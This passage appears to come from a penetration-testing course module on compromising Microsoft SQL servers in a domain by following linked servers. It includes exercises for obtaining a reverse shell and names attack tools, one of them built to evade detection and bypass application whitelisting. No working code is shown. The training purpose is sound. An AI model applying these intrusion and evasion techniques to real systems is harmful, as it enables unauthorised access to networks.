OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
...

Listing 61 - Reverse shell from appsrv01

If no other privilege escalation paths are possible, we may be able to use a bidirectional link to elevate privileges on the same SQL server.

In this section, we saw that it's possible to enumerate nested linked SQL servers and even execute queries on them. In theory, this allows us to follow as many links as we want and possibly gain code execution from many SQL servers.

Exercises

1. Repeat the enumeration steps to find the login security context after following the link first to dc01 and then back to appsrv01.
2. Obtain a reverse shell on appsrv01 by following the links.

Extra Mile

A PowerShell script called PowerUpSQL1 exists that can help automate all the enumerations and attacks we have performed in this module.

A C# implementation of PowerUpSQL called Database Audit Framework & Toolkit (DAFT)2 also exists.

Download and use either of them to access, elevate, and own the two SQL servers.

Caution

Evil SQL Client (ESC)3 is yet another implementation of the same features written in C#. It has been prebuilt to work with MSBuild to avoid detection and bypass Application Whitelisting.

Footnotes

1. (NetSPI, 2020), https://github.com/NetSPI/PowerUpSQL ↩

2. (NetSPI, 2019), https://github.com/NetSPI/DAFT ↩

3. (NetSPI, 2020), https://github.com/NetSPI/ESC ↩

26.4. Wrapping Up

In this module, we presented multiple techniques to attack and compromise a Microsoft SQL server in a domain setting.

Most of the techniques also apply to SQL injection vulnerabilities. As such, it may be possible to compromise multiple SQL servers deep in the internal network directly from a perimeter web server if insecure permissions and SQL server links exist.

This module focused exclusively on Microsoft SQL due to its common authentication integration with Active Directory, but other database types such as Oracle and MySQL can have similar misconfigurations. It's also possible to have SQL links between databases of different types.